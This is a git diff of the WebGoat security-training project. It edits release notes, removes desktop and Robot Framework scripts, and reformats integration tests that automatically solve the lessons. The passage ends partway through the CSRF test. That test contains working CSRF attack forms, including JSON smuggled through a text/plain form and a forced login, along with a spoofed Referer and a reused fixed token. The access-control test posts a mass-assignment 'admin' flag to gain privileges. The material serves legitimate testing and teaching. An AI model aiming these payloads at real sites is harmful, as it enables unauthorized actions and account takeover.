- [#1193 Vulnerable component lesson - java.desktop does not "opens java.beans" to unnamed module](https://github.com/WebGoat/WebGoat/issues/1193)
- [#1176 Minor: XXE lesson 12 patch not reset by 'lesson reset' while it IS reset by leaving/returning to lesson](https://github.com/WebGoat/WebGoat/issues/1176)
- [#1134 "Exploiting XStream" assignment does not work](https://github.com/WebGoat/WebGoat/issues/1134)
- [#1130 Typo: Using Indrect References](https://github.com/WebGoat/WebGoat/issues/1130)
- [#1101 SQL lesson not correct](https://github.com/WebGoat/WebGoat/issues/1101)
- [#1079 startup.sh issues of WebWolf - cannot connect to the WebGoat DB](https://github.com/WebGoat/WebGoat/issues/1079)
- [#1379 Move XXE to A05:2021-_Security_ Misconfiguration](https://github.com/WebGoat/WebGoat/issues/1379)
- [#1298 SocketUtils is deprecated and will be removed in Spring Security 6](https://github.com/WebGoat/WebGoat/issues/1298)
- [#1248 Rewrite the WebWolf Introduction Lesson with the new changes](https://github.com/WebGoat/WebGoat/issues/1248)
- [#1200 Type cast error in sample code at JWT token section](https://github.com/WebGoat/WebGoat/issues/1200)
- [#1173 --server.port=9000 is not respected on Windows (both cmd as Powershell)](https://github.com/WebGoat/WebGoat/issues/1173)
- [#1103 (A1) path traversel lesson 7 seems broken](https://github.com/WebGoat/WebGoat/issues/1103)
- [#986 - User registration not persistant](https://github.com/WebGoat/WebGoat/issues/986)

 ## Version 8.2.2

@ -73,12 +32,14 @@ many more releases this year.
 - [#1031 SQL Injection (intro) 5: Data Control Language (DCL) the wiki's solution is not correct](https://github.com/WebGoat/WebGoat/issues/1031)
 - [#1027 Webgoat 8.2.1 Vulnerable_Components_12 Shows internal server error](https://github.com/WebGoat/WebGoat/issues/1027)

+
 ## Version 8.2.1

 ### New functionality

 - New Docker image for arm64 architecture is now available (for Apple M1)

+
 ## Version 8.2.0

 ### New functionality
@ -117,6 +78,7 @@ Special thanks to the following contributors providing us with a pull request:
 - NatasG
 - gabe-sky

+
 ## Version 8.1.0

 ### New functionality
@ -137,13 +99,13 @@ Special thanks to the following contributors providing us with a pull request:
 - [#766 - Unclear objective of vulnerable components practical assignment](https://github.com/WebGoat/WebGoat/issues/766)
 - [#708 - Seems like the home directory of WebGoat always use @project.version@](https://github.com/WebGoat/WebGoat/issues/708)
 - [#719 - WebGoat: 'Contact Us' email link in header is not correctly set](https://github.com/WebGoat/WebGoat/issues/719)
- [#715 - Reset lesson doesn't reset the "HTML lesson" => forms stay succesful](https://github.com/WebGoat/WebGoat/issues/715)
- [#725 - Vulnerable Components lesson 12 broken due to too new dependency](https://github.com/WebGoat/WebGoat/issues/725)
- [#716 -  On M26 @project.version@ is not "interpreted" #7](https://github.com/WebGoat/WebGoat/issues/716)
- [#721 couldn't be able to run CSRF lesson 3: Receive Whitelabel Error Page](https://github.com/WebGoat/WebGoat/issues/721)
- [#724 - Dead link in VulnerableComponents lesson 11](https://github.com/WebGoat/WebGoat/issues/724)
+ - [#715 - Reset lesson doesn't reset the "HTML lesson" => forms stay succesful](https://github.com/WebGoat/WebGoat/issues/715)
+ - [#725 - Vulnerable Components lesson 12 broken due to too new dependency](https://github.com/WebGoat/WebGoat/issues/725)
+ - [#716 -  On M26 @project.version@ is not "interpreted" #7](https://github.com/WebGoat/WebGoat/issues/716)
+ - [#721 couldn't be able to run CSRF lesson 3: Receive Whitelabel Error Page](https://github.com/WebGoat/WebGoat/issues/721)
+ - [#724 - Dead link in VulnerableComponents lesson 11](https://github.com/WebGoat/WebGoat/issues/724)
 
-## Contributors
+ ## Contributors
 
 Special thanks to the following contributors providing us with a pull request:

@ -159,5 +121,9 @@ Special thanks to the following contributors providing us with a pull request:

 And everyone who provided feedback through Github.

+
 Team WebGoat

+
+
+
--- a/config/desktop/WebGoat.txt
+++ b/config/desktop/WebGoat.txt
@ -1,10 +0,0 @@
-** Welcome to WebGoat desktop image
-
-With this image you have WebGoat and ZAP and a browser available to you in a browser running on Ubuntu.
-You can start WebGoat and ZAP by opening a terminal and type:
-
-./start-webgoat.sh
-./start_zap.sh
-
-Happy hacking,
-Team WebGoat
--- a/config/desktop/start_webgoat.sh
+++ b/config/desktop/start_webgoat.sh
@ -1,17 +0,0 @@
-#!/bin/sh
-
-/config/jdk-17.0.6+10-jre/bin/java \
-  -Duser.home=/config \
-  -Dfile.encoding=UTF-8 \
-  -DTZ=Europe/Amsterdam \
-  --add-opens java.base/java.lang=ALL-UNNAMED \
-  --add-opens java.base/java.util=ALL-UNNAMED \
-  --add-opens java.base/java.lang.reflect=ALL-UNNAMED \
-  --add-opens java.base/java.text=ALL-UNNAMED \
-  --add-opens java.desktop/java.beans=ALL-UNNAMED \
-  --add-opens java.desktop/java.awt.font=ALL-UNNAMED \
-  --add-opens java.base/sun.nio.ch=ALL-UNNAMED \
-  --add-opens java.base/java.io=ALL-UNNAMED \
-  --add-opens java.base/java.util=ALL-UNNAMED \
-  -Drunning.in.docker=false \
-  -jar /config/webgoat.jar
--- a/config/desktop/start_zap.sh
+++ b/config/desktop/start_zap.sh
@ -1,3 +0,0 @@
-#!/bin/sh
-
-/config/jdk-17.0.6+10-jre/bin/java -jar /config/ZAP_2.12.0/zap-2.12.0.jar
--- a/docs/README.md
+++ b/docs/README.md
@ -2,3 +2,4 @@

 Old GitHub page which now redirects to OWASP website.

+
--- a/docs/images/webgoat.png
+++ b/docs/images/webgoat.png
--- a/pom.xml
+++ b/pom.xml
--- a/robot/README.md
+++ b/robot/README.md
@ -1,19 +0,0 @@
-# Install and use Robotframework
-
-## Install Chromedriver on Mac OS
-
-        brew install cask chromedriver
-        chromedriver --version
-
-Then see security settings and allow the file to run
-
-## Install
-
-        pip3 install virtualenv --user
-        python3 -m virtualenv .venv
-        source .venv/bin/activate
-        pip install robotframework
-        pip install robotframework-SeleniumLibrary
-        pip install webdriver-manager
-        robot --variable HEADLESS:"0" --variable ENDPOINT:"http://127.0.0.1:8080/WebGoat" goat.robot
-
--- a/robot/goat.robot
+++ b/robot/goat.robot
@ -1,101 +0,0 @@
-*** Settings ***
-Documentation  Setup WebGoat Robotframework tests
-Library  SeleniumLibrary  timeout=100  run_on_failure=Capture Page Screenshot
-Library  String
-
-Suite Setup  Initial_Page  ${ENDPOINT}  ${BROWSER}
-Suite Teardown  Close_Page
-
-*** Variables ***
-${BROWSER}  chrome
-${SLEEP}  100
-${DELAY}  0.25
-${ENDPOINT}  http://127.0.0.1:8080/WebGoat
-${ENDPOINT_WOLF}  http://127.0.0.1:9090
-${USERNAME}  robotuser
-${PASSWORD}  password
-${HEADLESS}  ${FALSE}
-
-*** Keywords ***
-Initial_Page
-  [Documentation]  Check the inital page
-  [Arguments]  ${ENDPOINT}  ${BROWSER}
-  Log To Console  Start WebGoat UI Testing
-  IF  ${HEADLESS}
-      Open Browser  ${ENDPOINT}  ${BROWSER}  options=add_argument("-headless");add_argument("--start-maximized");add_experimental_option('prefs', {'intl.accept_languages': 'en,en_US'})  alias=webgoat
-  ELSE
-      Open Browser  ${ENDPOINT}  ${BROWSER}  options=add_experimental_option('prefs', {'intl.accept_languages': 'en,en_US'})  alias=webgoat
-  END
-  IF  ${HEADLESS}
-      Open Browser  ${ENDPOINT_WOLF}/WebWolf  ${BROWSER}  options=add_argument("-headless");add_argument("--start-maximized");add_experimental_option('prefs', {'intl.accept_languages': 'en,en_US'})  alias=webwolf
-  ELSE
-      Open Browser  ${ENDPOINT_WOLF}/WebWolf  ${BROWSER}  options=add_experimental_option('prefs', {'intl.accept_languages': 'en,en_US'})  alias=webwolf
-  END
-  Switch Browser  webgoat
-  Maximize Browser Window
-  Set Window Size  ${1400}  ${1000}
-  Switch Browser  webwolf
-  Maximize Browser Window
-  Set Window Size  ${1400}  ${1000}
-  Set Window Position  ${400}  ${200}
-  Set Selenium Speed  ${DELAY}
-
-Close_Page
-  [Documentation]  Closing the browser
-  Log To Console  ==> Stop WebGoat UI Testing
-  IF  ${HEADLESS}
-    Switch Browser  webgoat
-    Close Browser
-    Switch Browser  webwolf
-    Close Browser
-  END
-
-*** Test Cases ***
-
-Check_Initial_Page
-  Switch Browser  webgoat
-  Page Should Contain  Username
-  Click Button  Sign in
-  Page Should Contain  Invalid username
-  Click Link  /WebGoat/registration
-
-Check_Registration_Page
-  Page Should Contain  Username
-  Input Text  username  ${USERNAME}
-  Input Text  password  ${PASSWORD}
-  Input Text  matchingPassword  ${PASSWORD}
-  Click Element  agree
-  Click Button  Sign up
-
-Check_Welcome_Page
-  Page Should Contain  WebGoat
-  Go To  ${ENDPOINT}/login
-  Page Should Contain  Username
-  Input Text  username  ${USERNAME}
-  Input Text  password  ${PASSWORD}
-  Click Button  Sign in
-  Page Should Contain  WebGoat
-
-Check_Menu_Page
-  Click Element  css=a[category='Introduction']
-  Click Element  Introduction-WebGoat
-  CLick Element  Introduction-WebWolf
-  Click Element  css=a[category='General']
-  CLick Element  General-HTTPBasics
-  Click Element  xpath=//*[.='2']
-  Input Text     person  ${USERNAME}
-  Click Button   Go!
-  ${OUT_VALUE}   Get Text  xpath=//div[contains(@class, 'attack-feedback')]
-  ${OUT_RESULT}  Evaluate  "resutobor" in """${OUT_VALUE}"""
-  IF  not ${OUT_RESULT}
-    Fail  "not ok"
-  END
-
-Check_WebWolf
-  Switch Browser  webwolf
-  location should be  ${ENDPOINT_WOLF}/WebWolf
-  Go To  ${ENDPOINT_WOLF}/mail
-  Input Text  username  ${USERNAME}
-  Input Text  password  ${PASSWORD}
-  Click Button  Sign In
-
--- a/src/it/java/org/owasp/webgoat/AccessControlIntegrationTest.java
+++ b/src/it/java/org/owasp/webgoat/AccessControlIntegrationTest.java
@ -1,86 +1,86 @@
 package org.owasp.webgoat;

+
 import io.restassured.RestAssured;
 import io.restassured.http.ContentType;
-import java.util.Map;
 import org.apache.http.HttpStatus;
 import org.junit.jupiter.api.Test;

+import java.util.Map;
+
 class AccessControlIntegrationTest extends IntegrationTest {

-  @Test
-  void testLesson() {
-    startLesson("MissingFunctionAC", true);
-    assignment1();
-    assignment2();
-    assignment3();
+    @Test
+    void testLesson() {
+        startLesson("MissingFunctionAC", true);
+        assignment1();
+        assignment2();
+        assignment3();

-    checkResults("/access-control");
-  }
+        checkResults("/access-control");
+    }

-  private void assignment3() {
-    // direct call should fail if user has not been created
-    RestAssured.given()
-        .when()
-        .relaxedHTTPSValidation()
-        .cookie("JSESSIONID", getWebGoatCookie())
-        .contentType(ContentType.JSON)
-        .get(url("/WebGoat/access-control/users-admin-fix"))
-        .then()
-        .statusCode(HttpStatus.SC_FORBIDDEN);
+    private void assignment3() {
+        //direct call should fail if user has not been created
+        RestAssured.given()
+                .when()
+                .relaxedHTTPSValidation()
+                .cookie("JSESSIONID", getWebGoatCookie())
+                .contentType(ContentType.JSON)
+                .get(url("/WebGoat/access-control/users-admin-fix"))
+                .then()
+                .statusCode(HttpStatus.SC_FORBIDDEN);

-    // create user
-    var userTemplate =
-        """
+        //create user
+        var userTemplate = """
                {"username":"%s","password":"%s","admin": "true"}
                """;
-    RestAssured.given()
-        .when()
-        .relaxedHTTPSValidation()
-        .cookie("JSESSIONID", getWebGoatCookie())
-        .contentType(ContentType.JSON)
-        .body(String.format(userTemplate, this.getUser(), this.getUser()))
-        .post(url("/WebGoat/access-control/users"))
-        .then()
-        .statusCode(HttpStatus.SC_OK);
-
-    // get the users
-    var userHash =
        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .contentType(ContentType.JSON)
-            .get(url("/WebGoat/access-control/users-admin-fix"))
-            .then()
-            .statusCode(200)
-            .extract()
-            .jsonPath()
-            .get("find { it.username == \"Jerry\" }.userHash");
+                .when()
+                .relaxedHTTPSValidation()
+                .cookie("JSESSIONID", getWebGoatCookie())
+                .contentType(ContentType.JSON)
+                .body(String.format(userTemplate, this.getUser(), this.getUser()))
+                .post(url("/WebGoat/access-control/users"))
+                .then()
+                .statusCode(HttpStatus.SC_OK);

-    checkAssignment(
-        url("/WebGoat/access-control/user-hash-fix"), Map.of("userHash", userHash), true);
-  }
+        //get the users
+        var userHash =
+                RestAssured.given()
+                        .when()
+                        .relaxedHTTPSValidation()
+                        .cookie("JSESSIONID", getWebGoatCookie())
+                        .contentType(ContentType.JSON)
+                        .get(url("/WebGoat/access-control/users-admin-fix"))
+                        .then()
+                        .statusCode(200)
+                        .extract()
+                        .jsonPath()
+                        .get("find { it.username == \"Jerry\" }.userHash");

-  private void assignment2() {
-    var userHash =
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .contentType(ContentType.JSON)
-            .get(url("/WebGoat/access-control/users"))
-            .then()
-            .statusCode(200)
-            .extract()
-            .jsonPath()
-            .get("find { it.username == \"Jerry\" }.userHash");
+        checkAssignment(url("/WebGoat/access-control/user-hash-fix"), Map.of("userHash", userHash), true);
+    }

-    checkAssignment(url("/WebGoat/access-control/user-hash"), Map.of("userHash", userHash), true);
-  }
+    private void assignment2() {
+        var userHash =
+                RestAssured.given()
+                        .when()
+                        .relaxedHTTPSValidation()
+                        .cookie("JSESSIONID", getWebGoatCookie())
+                        .contentType(ContentType.JSON)
+                        .get(url("/WebGoat/access-control/users"))
+                        .then()
+                        .statusCode(200)
+                        .extract()
+                        .jsonPath()
+                        .get("find { it.username == \"Jerry\" }.userHash");

-  private void assignment1() {
-    var params = Map.of("hiddenMenu1", "Users", "hiddenMenu2", "Config");
-    checkAssignment(url("/WebGoat/access-control/hidden-menu"), params, true);
-  }
+        checkAssignment(url("/WebGoat/access-control/user-hash"), Map.of("userHash", userHash), true);
+    }
+
+    private void assignment1() {
+        var params = Map.of("hiddenMenu1", "Users", "hiddenMenu2", "Config");
+        checkAssignment(url("/WebGoat/access-control/hidden-menu"), params, true);
+    }
 }
--- a/src/it/java/org/owasp/webgoat/CSRFIntegrationTest.java
+++ b/src/it/java/org/owasp/webgoat/CSRFIntegrationTest.java
@ -1,18 +1,8 @@
 package org.owasp.webgoat;

-import static org.assertj.core.api.Assertions.assertThat;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.junit.jupiter.api.DynamicTest.dynamicTest;

 import io.restassured.RestAssured;
 import io.restassured.http.ContentType;
-import java.io.IOException;
-import java.nio.file.Files;
-import java.nio.file.Path;
-import java.nio.file.Paths;
-import java.util.Arrays;
-import java.util.HashMap;
-import java.util.Map;
 import lombok.Data;
 import lombok.SneakyThrows;
 import org.junit.jupiter.api.AfterEach;
@ -21,265 +11,249 @@ import org.junit.jupiter.api.DynamicTest;
 import org.junit.jupiter.api.TestFactory;
 import org.owasp.webgoat.container.lessons.Assignment;

+import java.io.IOException;
+import java.nio.file.Files;
+import java.nio.file.Path;
+import java.nio.file.Paths;
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.Map;
+
+import static org.assertj.core.api.Assertions.assertThat;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.DynamicTest.dynamicTest;
+
 public class CSRFIntegrationTest extends IntegrationTest {

-  private static final String trickHTML3 =
-      "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n"
-          + "<input type=\"hidden\" name=\"csrf\" value=\"thisisnotchecked\"/>\n"
-          + "<input type=\"submit\" name=\"submit\" value=\"assignment 3\"/>\n"
-          + "</form></body></html>";
+    private static final String trickHTML3 = "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n" +
+            "<input type=\"hidden\" name=\"csrf\" value=\"thisisnotchecked\"/>\n" +
+            "<input type=\"submit\" name=\"submit\" value=\"assignment 3\"/>\n" +
+            "</form></body></html>";

-  private static final String trickHTML4 =
-      "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n"
-          + "<input type=\"hidden\" name=\"reviewText\" value=\"hoi\"/>\n"
-          + "<input type=\"hidden\" name=\"starts\" value=\"3\"/>\n"
-          + "<input type=\"hidden\" name=\"validateReq\""
-          + " value=\"2aa14227b9a13d0bede0388a7fba9aa9\"/>\n"
-          + "<input type=\"submit\" name=\"submit\" value=\"assignment 4\"/>\n"
-          + "</form>\n"
-          + "</body></html>";
+    private static final String trickHTML4 = "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n" +
+            "<input type=\"hidden\" name=\"reviewText\" value=\"hoi\"/>\n" +
+            "<input type=\"hidden\" name=\"starts\" value=\"3\"/>\n" +
+            "<input type=\"hidden\" name=\"validateReq\" value=\"2aa14227b9a13d0bede0388a7fba9aa9\"/>\n" +
+            "<input type=\"submit\" name=\"submit\" value=\"assignment 4\"/>\n" +
+            "</form>\n" +
+            "</body></html>";

-  private static final String trickHTML7 =
-      "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" enctype='text/plain'"
-          + " method=\"POST\">\n"
-          + "<input type=\"hidden\""
-          + " name='{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat"
-          + " is the best!!' value='\"}' />\n"
-          + "<input type=\"submit\" value=\"assignment 7\"/>\n"
-          + "</form></body></html>";
+    private static final String trickHTML7 = "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" enctype='text/plain' method=\"POST\">\n" +
+            "<input type=\"hidden\" name='{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is the best!!' value='\"}' />\n" +
+            "<input type=\"submit\" value=\"assignment 7\"/>\n" +
+            "</form></body></html>";

-  private static final String trickHTML8 =
-      "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n"
-          + "<input type=\"hidden\" name=\"username\" value=\"csrf-USERNAME\"/>\n"
-          + "<input type=\"hidden\" name=\"password\" value=\"password\"/>\n"
-          + "<input type=\"hidden\" name=\"matchingPassword\" value=\"password\"/>\n"
-          + "<input type=\"hidden\" name=\"agree\" value=\"agree\"/>\n"
-          + "<input type=\"submit\" value=\"assignment 8\"/>\n"
-          + "</form></body></html>";
+    private static final String trickHTML8 = "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n" +
+            "<input type=\"hidden\" name=\"username\" value=\"csrf-USERNAME\"/>\n" +
+            "<input type=\"hidden\" name=\"password\" value=\"password\"/>\n" +
+            "<input type=\"hidden\" name=\"matchingPassword\" value=\"password\"/>\n" +
+            "<input type=\"hidden\" name=\"agree\" value=\"agree\"/>\n" +
+            "<input type=\"submit\" value=\"assignment 8\"/>\n" +
+            "</form></body></html>";

-  private String webwolfFileDir;
+    private String webwolfFileDir;

-  @BeforeEach
-  @SneakyThrows
-  public void init() {
-    startLesson("CSRF");
-    webwolfFileDir = getWebWolfFileServerLocation();
-    uploadTrickHtml("csrf3.html", trickHTML3.replace("WEBGOATURL", url("/csrf/basic-get-flag")));
-    uploadTrickHtml("csrf4.html", trickHTML4.replace("WEBGOATURL", url("/csrf/review")));
-    uploadTrickHtml("csrf7.html", trickHTML7.replace("WEBGOATURL", url("/csrf/feedback/message")));
-    uploadTrickHtml(
-        "csrf8.html",
-        trickHTML8.replace("WEBGOATURL", url("/login")).replace("USERNAME", this.getUser()));
-  }
-
-  @TestFactory
-  Iterable<DynamicTest> testCSRFLesson() {
-    return Arrays.asList(
-        dynamicTest("assignment 3", () -> checkAssignment3(callTrickHtml("csrf3.html"))),
-        dynamicTest("assignment 4", () -> checkAssignment4(callTrickHtml("csrf4.html"))),
-        dynamicTest("assignment 7", () -> checkAssignment7(callTrickHtml("csrf7.html"))),
-        dynamicTest("assignment 8", () -> checkAssignment8(callTrickHtml("csrf8.html"))));
-  }
-
-  @AfterEach
-  public void shutdown() throws IOException {
-    // logout();
-    login(); // because old cookie got replaced and invalidated
-    startLesson("CSRF", false);
-    checkResults("/csrf");
-  }
-
-  private void uploadTrickHtml(String htmlName, String htmlContent) throws IOException {
-
-    // remove any left over html
-    Path webWolfFilePath = Paths.get(webwolfFileDir);
-    if (webWolfFilePath.resolve(Paths.get(this.getUser(), htmlName)).toFile().exists()) {
-      Files.delete(webWolfFilePath.resolve(Paths.get(this.getUser(), htmlName)));
+    @BeforeEach
+    @SneakyThrows
+    public void init() {
+        startLesson("CSRF");
+        webwolfFileDir = getWebWolfFileServerLocation();
+        uploadTrickHtml("csrf3.html", trickHTML3.replace("WEBGOATURL", url("/csrf/basic-get-flag")));
+        uploadTrickHtml("csrf4.html", trickHTML4.replace("WEBGOATURL", url("/csrf/review")));
+        uploadTrickHtml("csrf7.html", trickHTML7.replace("WEBGOATURL", url("/csrf/feedback/message")));
+        uploadTrickHtml("csrf8.html", trickHTML8.replace("WEBGOATURL", url("/login")).replace("USERNAME", this.getUser()));
    }

-    // upload trick html
-    RestAssured.given()
-        .when()
-        .relaxedHTTPSValidation()
-        .cookie("WEBWOLFSESSION", getWebWolfCookie())
-        .multiPart("file", htmlName, htmlContent.getBytes())
-        .post(webWolfUrl("/WebWolf/fileupload"))
-        .then()
-        .extract()
-        .response()
-        .getBody()
-        .asString();
-  }
+    @TestFactory
+    Iterable<DynamicTest> testCSRFLesson() {
+        return Arrays.asList(
+                dynamicTest("assignment 3", () -> checkAssignment3(callTrickHtml("csrf3.html"))),
+                dynamicTest("assignment 4", () -> checkAssignment4(callTrickHtml("csrf4.html"))),
+                dynamicTest("assignment 7", () -> checkAssignment7(callTrickHtml("csrf7.html"))),
+                dynamicTest("assignment 8", () -> checkAssignment8(callTrickHtml("csrf8.html")))
+        );
+    }

-  private String callTrickHtml(String htmlName) {
-    String result =
+    @AfterEach
+    public void shutdown() throws IOException {
+        //logout();
+        login();//because old cookie got replaced and invalidated
+        startLesson("CSRF", false);
+        checkResults("/csrf");
+    }
+
+    private void uploadTrickHtml(String htmlName, String htmlContent) throws IOException {
+
+        //remove any left over html
+        Path webWolfFilePath = Paths.get(webwolfFileDir);
+        if (webWolfFilePath.resolve(Paths.get(this.getUser(), htmlName)).toFile().exists()) {
+            Files.delete(webWolfFilePath.resolve(Paths.get(this.getUser(), htmlName)));
+        }
+
+        //upload trick html
        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .cookie("WEBWOLFSESSION", getWebWolfCookie())
-            .get(webWolfUrl("/files/" + this.getUser() + "/" + htmlName))
-            .then()
-            .extract()
-            .response()
-            .getBody()
-            .asString();
-    result = result.substring(8 + result.indexOf("action=\""));
-    result = result.substring(0, result.indexOf("\""));
+                .when()
+                .relaxedHTTPSValidation()
+                .cookie("WEBWOLFSESSION", getWebWolfCookie())
+                .multiPart("file", htmlName, htmlContent.getBytes())
+                .post(webWolfUrl("/WebWolf/fileupload"))
+                .then()
+                .extract().response().getBody().asString();
+    }

-    return result;
-  }
+    private String callTrickHtml(String htmlName) {
+        String result = RestAssured.given()
+                .when()
+                .relaxedHTTPSValidation()
+                .cookie("JSESSIONID", getWebGoatCookie())
+                .cookie("WEBWOLFSESSION", getWebWolfCookie())
+                .get(webWolfUrl("/files/" + this.getUser() + "/" + htmlName))
+                .then()
+                .extract().response().getBody().asString();
+        result = result.substring(8 + result.indexOf("action=\""));
+        result = result.substring(0, result.indexOf("\""));

-  private void checkAssignment3(String goatURL) {
-    String flag =
+        return result;
+    }
+
+    private void checkAssignment3(String goatURL) {
+        String flag = RestAssured.given()
+                .when()
+                .relaxedHTTPSValidation()
+                .cookie("JSESSIONID", getWebGoatCookie())
+                .header("Referer", webWolfUrl("/files/fake.html"))
+                .post(goatURL)
+                .then()
+                .extract().path("flag").toString();
+
+        Map<String, Object> params = new HashMap<>();
+        params.clear();
+        params.put("confirmFlagVal", flag);
+        checkAssignment(url("/WebGoat/csrf/confirm-flag-1"), params, true);
+    }
+
+    private void checkAssignment4(String goatURL) {
+
+        Map<String, Object> params = new HashMap<>();
+        params.clear();
+        params.put("reviewText", "test review");
+        params.put("stars", "5");
+        params.put("validateReq", "2aa14227b9a13d0bede0388a7fba9aa9");//always the same token is the weakness
+
+        boolean result = RestAssured.given()
+                .when()
+                .relaxedHTTPSValidation()
+                .cookie("JSESSIONID", getWebGoatCookie())
+                .header("Referer", webWolfUrl("/files/fake.html"))
+                .formParams(params)
+                .post(goatURL)
+                .then()
+                .extract().path("lessonCompleted");
+        assertEquals(true, result);
+
+    }
+
+    private void checkAssignment7(String goatURL) {
+        Map<String, Object> params = new HashMap<>();
+        params.put("{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is the best!!", "\"}");
+
+        String flag = RestAssured.given()
+                .when()
+                .relaxedHTTPSValidation()
+                .cookie("JSESSIONID", getWebGoatCookie())
+                .header("Referer", webWolfUrl("/files/fake.html"))
+                .contentType(ContentType.TEXT)
+                .body("{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is the best!!" + "=\"}")
+                .post(goatURL)
+                .then()
+                .extract().asString();
+        flag = flag.substring(9 + flag.indexOf("flag is:"));
+        flag = flag.substring(0, flag.indexOf("\""));
+
+        params.clear();
+        params.put("confirmFlagVal", flag);
+        checkAssignment(url("/WebGoat/csrf/feedback"), params, true);
+
+    }
+
+    private void checkAssignment8(String goatURL) {
+
+        //first make sure there is an attack csrf- user
+        registerCSRFUser();
+
+        Map<String, Object> params = new HashMap<>();
+        params.clear();
+        params.put("username", "csrf-" + this.getUser());
+        params.put("password", "password");
+
+        //login and get the new cookie
+        String newCookie = RestAssured.given()
+                .when()
+                .relaxedHTTPSValidation()
+                .cookie("JSESSIONID", getWebGoatCookie())
+                .header("Referer", webWolfUrl("/files/fake.html"))
+                .params(params)
+                .post(goatURL)
+                .then()
+                .extract().cookie("JSESSIONID");
+
+        //select the lesson
        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .header("Referer", webWolfUrl("/files/fake.html"))
-            .post(goatURL)
-            .then()
-            .extract()
-            .path("flag")
-            .toString();
+                .when()
+                .relaxedHTTPSValidation()
+                .cookie("JSESSIONID", newCookie)
+                .get(url("CSRF.lesson.lesson"))
+                .then()
+                .statusCode(200);

-    Map<String, Object> params = new HashMap<>();
-    params.clear();
-    params.put("confirmFlagVal", flag);
-    checkAssignment(url("/WebGoat/csrf/confirm-flag-1"), params, true);
-  }
+        //click on the assignment
+        boolean result = RestAssured.given()
+                .when()
+                .relaxedHTTPSValidation()
+                .cookie("JSESSIONID", newCookie)
+                .post(url("/csrf/login"))
+                .then()
+                .statusCode(200)
+                .extract().path("lessonCompleted");

-  private void checkAssignment4(String goatURL) {
+        assertThat(result).isTrue();

-    Map<String, Object> params = new HashMap<>();
-    params.clear();
-    params.put("reviewText", "test review");
-    params.put("stars", "5");
-    params.put(
-        "validateReq", "2aa14227b9a13d0bede0388a7fba9aa9"); // always the same token is the weakness
+        login();
+        startLesson("CSRF", false);
+
+        Overview[] assignments = RestAssured.given()
+                .cookie("JSESSIONID", getWebGoatCookie())
+                .get(url("/service/lessonoverview.mvc"))
+                .then()
+                .extract()
+                .jsonPath()
+                .getObject("$", Overview[].class);
+//		assertThat(assignments)
+//                .filteredOn(a -> a.getAssignment().getName().equals("CSRFLogin"))
+//                .extracting(o -> o.solved)
+//                .containsExactly(true);
+    }
+
+    @Data
+    private static class Overview {
+        Assignment assignment;
+        boolean solved;
+    }
+
+    /**
+     * Try to register the new user. Ignore the result.
+     */
+    private void registerCSRFUser() {

-    boolean result =
        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .header("Referer", webWolfUrl("/files/fake.html"))
-            .formParams(params)
-            .post(goatURL)
-            .then()
-            .extract()
-            .path("lessonCompleted");
-    assertEquals(true, result);
-  }
+                .when()
+                .relaxedHTTPSValidation()
+                .formParam("username", "csrf-" + this.getUser())
+                .formParam("password", "password")
+                .formParam("matchingPassword", "password")
+                .formParam("agree", "agree")
+                .post(url("register.mvc"));

-  private void checkAssignment7(String goatURL) {
-    Map<String, Object> params = new HashMap<>();
-    params.put(
-        "{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is the"
-            + " best!!",
-        "\"}");
+    }

-    String flag =
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .header("Referer", webWolfUrl("/files/fake.html"))
-            .contentType(ContentType.TEXT)
-            .body(
-                "{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is"
-                    + " the best!!=\"}")
-            .post(goatURL)
-            .then()
-            .extract()
-            .asString();
-    flag = flag.substring(9 + flag.indexOf("flag is:"));
-    flag = flag.substring(0, flag.indexOf("\""));
-
-    params.clear();
-    params.put("confirmFlagVal", flag);
-    checkAssignment(url("/WebGoat/csrf/feedback"), params, true);
-  }
-
-  private void checkAssignment8(String goatURL) {
-
-    // first make sure there is an attack csrf- user
-    registerCSRFUser();
-
-    Map<String, Object> params = new HashMap<>();
-    params.clear();
-    params.put("username", "csrf-" + this.getUser());
-    params.put("password", "password");
-
-    // login and get the new cookie
-    String newCookie =
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .header("Referer", webWolfUrl("/files/fake.html"))
-            .params(params)
-            .post(goatURL)
-            .then()
-            .extract()
-            .cookie("JSESSIONID");
-
-    // select the lesson
-    RestAssured.given()
-        .when()
-        .relaxedHTTPSValidation()
-        .cookie("JSESSIONID", newCookie)
-        .get(url("CSRF.lesson.lesson"))
-        .then()
-        .statusCode(200);
-
-    // click on the assignment
-    boolean result =
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .cookie("JSESSIONID", newCookie)
-            .post(url("/csrf/login"))
